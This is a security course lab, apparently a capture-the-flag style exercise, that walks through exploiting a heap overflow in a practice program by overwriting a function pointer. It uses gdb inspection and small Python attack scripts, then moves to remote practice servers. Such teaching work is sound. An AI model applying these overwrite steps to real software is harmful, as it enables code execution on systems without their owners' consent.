ED 205: Very Simple Heap Overflow (10 pts + 20 extra)

What You Need

A Google Cloud Debian 9 Linux machine, with these tools installed:

sudo apt update
sudo apt install build-essential gcc-multilib gdb -y

Purpose

To practice exploiting a very simple heap overflow vulnerability. This one is easy to exploit because there's a pointer in the heap that is used for a function call. That makes a heap overflow as simple as a stack overflow targeting EIP.

Downloading & Running the Vulnerable Program

In aan SSH window, execute these commands:

wget -nv https://samsclass.info/127/proj/ED205.c
wget -nv https://samsclass.info/127/proj/ED205
chmod a+x ED205
./ED205 HELLO
The program downloads and runs, printing "level has not been passed", as shown below.

Viewing the Source Code

Execute this command:

cat ED205.c
As shown below, two data structures are defined: name[64] and fp, which holds a 4-byte pointer. Instances of them are allocated on the heap, and the command-line argument is copied into the name[64] instance without bounds checking, so a long name will overwrite the fp instance.

Short inputs cause the "nowinner()" function to be executed. Our goal is to execute the "winner()" function.

Observing the Heap

Execute these commands to run the program in the gdb debugger, place a breakpoint, run it with a short input string, and examine the process map:
gdb -q ./ED205
list 31,34
b 33
run AAAA
info proc map
Find the heap. When I did it, the heap was the fourth item on the list, starting at 0x804b000, as shown below.

Execute these instructions to disassemble the function "nowinner", and display the start of the heap. Make sure the address in the second command matches the actual heap address on your system.

Near the start of the heap, you see 41414141, the hexadecimal codes for AAAA. A few lines after that, the address for nowinned() appears, as highlighted in yellow in the image below.


disassemble nowinner
x/30x 0x804b000
As shown below, this function starts at the address stored on the heap: 0x400629 on my system.

Execute these instructions to exit the debugger.

q
y

Observing a Crash

In Kali, in a Terminal window, execute this command:

nano h1
Enter this code, as shown below:

#!/usr/bin/python

print 'A' * 90

Save the file with Ctrl+X, Y, Enter.

Execute these commands to make the file executable, test it, and send it to ED205:


chmod a+x h1
./h1
./ED205 $(./h1)
The program crashes with a "Segmentation fault", as shown below.

Controlling the EIP

Execute these commands to make a modified attack file, to find out what characters ended up in $eip.

cp h1 h2
nano h2
Modify the file to send only 70 'A' characters followed by 20 bytes in a nonrepeating pattern, as shown below.

Save the file with Ctrl+X, Y, Enter.

Debugging the Program

Execute these commands to run the program in the gdb debugger, send the attack to it, and examine the registers.

gdb -q ./ED205
run $(./h2)
info registers
q
y
As shown below, the program crashes with $eip = 0x32323131, or the ASCII text '1122'.

On my system, the characters before the EIP were 70 "A"s + '00' for a total of 72 characters.

Targeting the EIP

Execute these commands to make an modified attack program that attempts to put 'BCDE' into the EIP.

cp h2 h3
nano h3
Modify the file as shown below.

Save the file with Ctrl+X, Y, Enter.

Debugging the Program

Execute these commands to run the program in the gdb debugger, send the attack to it, and examine the registers.

gdb -q ./ED205
run $(./h3)
info registers
As shown below, the program crashes with $eip = 0x34333231, or the ASCII text '1234'.

Finding an Address to Inject

Execute these commands to disassemble the winner() function.

disassemble winner
q
y
As shown below, the function started at address 0x080484cb on my system. Your address may be different--use the address you see on your screen.

The Final Exploit File

Execute these commands to make another attack program that puts 0x080484cb into the EIP.

cp h3 h4
nano h4
Modify the file as shown below.

Save the file with Ctrl+X, Y, Enter.


ED 205.1 Heap Exploit (10 pts)

Running the Exploit

Execute this command:

./ED205 $(./h4)
The flag appears, covered by a green box in the image below.


ED 205.2: Exploiting a 32-Bit Server (10 pts extra)

This form sends a string to a remote server and runs it through a 32-bit server process.

Enter the string in hexadecimal, so 414243 represents ABC.

The "debug" button runs the program inside gdb.

Redirect execution to the winner() function to see the flag.

ED 205.2: String Processor

String in Hex:

ED 205.3: Exploiting a 64-Bit Server (10 pts extra)

This form sends a string to a remote server and runs it through a 64-bit server process.

Enter the string in hexadecimal, so 414243 represents ABC.

The "debug" button runs the program inside gdb.

Redirect execution to the winner() function to see the flag.

ED 205.3: String Processor

String in Hex:

Sources

https://www.vulnhub.com/series/exploit-exercises,11/#

https://csg.utdallas.edu/wp-content/uploads/2012/08/Heap-Based-Exploitation.pdf

https://www.mattandreko.com/2012/01/10/exploit-exercises-heap-0/


Posted 9-17-15 by Sam Bowne
Revised 9-28-15
Revised for Kali 2018.1 2-22-18
Tested on Kali 2018.3 x86 and it worked fine 9-22-18
Working on server side 9-18-19
Extra ED 205.3 section removed 2-29-2020